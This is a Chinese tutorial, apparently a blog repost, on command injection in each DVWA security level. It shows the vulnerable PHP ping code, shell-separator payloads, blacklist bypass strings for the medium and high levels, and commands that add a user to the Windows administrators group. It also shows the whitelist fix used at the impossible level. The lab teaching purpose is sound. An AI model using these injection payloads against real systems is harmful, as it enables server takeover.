1. 程式人生 > 實用技巧 >DVWA各等級命令注入漏洞

DVWA各等級命令注入漏洞

漏洞描述

  • 在web程式中,因為業務功能需求要通過web前端傳遞引數到後臺伺服器上執行,由於開發人員沒有對輸入進行嚴格過濾,導致攻擊者可以構造一些額外的"帶有非法目的的"命令,欺騙後臺伺服器

漏洞危害

  • 如果web應用使用的是root許可權,則改漏洞可以導致攻擊者在伺服器上執行任意命令

漏洞利用

在ping時 可以使用 管道符( | ) ,& 等字元拼接執行多條命令
Eg:

ping 127.0.0.1 | net user

ping 127.0.0.1 & net user

ping 127.0.0.1 && net user

ping 127.0.0.1 || net user

- '|':前面命令輸出結果作為後面命令的輸入內容
- '&':前面命令執行後接著執行後面的命令
- '||':前面命令執行失敗的時候才執行後面的命令
- '$$':前面命令執行成功了才執行後面的命令
- 使用重定向(>)在伺服器中生成檔案,或時使用(<)從事先準備好的檔案讀入命令
eg:127.0.0.1&echo test >c:\1.txt   

Command injection

level:low

<?php 

if(isset($_POST['Submit'])){ //post傳參
//Getinput 
$target=$_REQUEST['ip']; 傳入ip

//DetermineOSandexecutethepingcommand. 
if(stristr(php_uname('s'),'WindowsNT')){
 //stristr()函式:在字串中找是否存在已知的字串
//php_uname()返回執行php的系統有關資訊


//Windows 
$cmd=shell_exec('ping'.$target); 
} 
else{ 
//*nix 
$cmd=shell_exec('ping-c4'.$target); 
} 

//Feedbackfortheenduser 
echo"<pre>{$cmd}</pre>"; 
} 

?> 


漏洞分析

  • low級別本身沒有任何過濾,其中 Shell_exec()函式可以在php中去執行作業系統命令,如果不對使用者輸入的命令進行過濾,那麼理論上就可以執行任意系統命令,也就相當於直接獲得了系統級的shell

  • eg:命令執行語句

    127.0.0.1 | net user

    127.0.0.1 | net user test 123/add

    127.0.0.1 | net localgroup administrators test/add

level:medium

<?php
if( isset( $_POST[ 'Submit' ] ) ) {
  // Get input
  $target = $_REQUEST[ 'ip' ];
  // Set blacklist
  $substitutions = array(
    '&&' => '',
    ';' => '',
  );
  // Remove any of the charactars in the array (blacklist).
  $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
  // Determine OS and execute the ping command.
  if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
    // Windows
    $cmd = shell_exec( 'ping ' . $target );
  }
  else {
    // *nix
    $cmd = shell_exec( 'ping -c 4 ' . $target );
  }
  // Feedback for the end user
  echo "<pre>{$cmd}</pre>";
}
?>

漏洞分析

  • 與low級別相比 medium級別多了兩句過濾語句:'&&' => '',';' => '',替換為空字元

  • 繞過方法:

  • 因為被過濾的只有”&&”與” ;”,所以”&”不會受影響。

    Ping 127.0.0.1&net user

  • 在&&中間加 ';'

    Ping 127.0.0.1&;&net nser

    這是因為”127.0.0.1&;&net user”中的” ;”會被替換為空字元,這樣一來就變成了”127.0.0.1&& net user” ,會成功執行。

level:high

	<?php 
	
	if(isset($_POST['Submit'])){ 
	//Getinput 
	$target=trim($_REQUEST['ip']); 
	
	//Setblacklist 
	$substitutions=array( 
	'&'=>'', 
	';'=>'', 
	'|'=>'', 
	'-'=>'', 
	'$'=>'', 
	'('=>'', 
	')'=>'', 
	'`'=>'', 
	'||'=>'', 
	); 
	
	//Removeanyofthecharactarsinthearray(blacklist). 
	$target=str_replace(array_keys($substitutions),$substitutions,$target); 
	
	//DetermineOSandexecutethepingcommand. 
	if(stristr(php_uname('s'),'WindowsNT')){ 
	//Windows 
	$cmd=shell_exec('ping'.$target); 
	} 
	else{ 
	//*nix 
	$cmd=shell_exec('ping-c4'.$target); 
	} 
	
	//Feedbackfortheenduser 
	echo"<pre>{$cmd}</pre>"; 
	} 
	
	?> 

漏洞分析

  • high級別與medium級別相比 黑名單機制限制的更多 過濾的更多

    但是
    仔細觀察到是把"| "(注意這裡|後有一個空格)替換為空字元,可以用" |"替換 成功繞過

level:impossible

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $target = $_REQUEST[ 'ip' ];
    $target = stripslashes( $target );

    // Split the IP into 4 octects
    $octet = explode( ".", $target );

     //stripslashes(string)stripslashes函式會刪除字串string中的反斜槓,返回已剝離反斜槓的字串。
//explode(separator,string,limit)把字串打散為陣列,返回字串的陣列。引數separator規定在哪裡分割字串,引數string是要分割的字串,可選引數limit規定所返回的陣列元素的數目。
//
is_numeric(string)檢測string是否為數字或數字字串,如果是返回TRUE,否則返回FALSE。


    // Check IF each octet is an integer
    if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
        // If all 4 octets are int's put the IP back together.
        $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }

        // Feedback for the end user
        echo "<pre>{$cmd}</pre>";
    }
    else {
        // Ops. Let the user name theres a mistake
        echo '<pre>ERROR: You have entered an invalid IP.</pre>';
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

漏洞分析

Impossible級別的程式碼加入了Anti-CSRF token,同時對引數ip進行了嚴格的限制,不存在命令注入漏洞。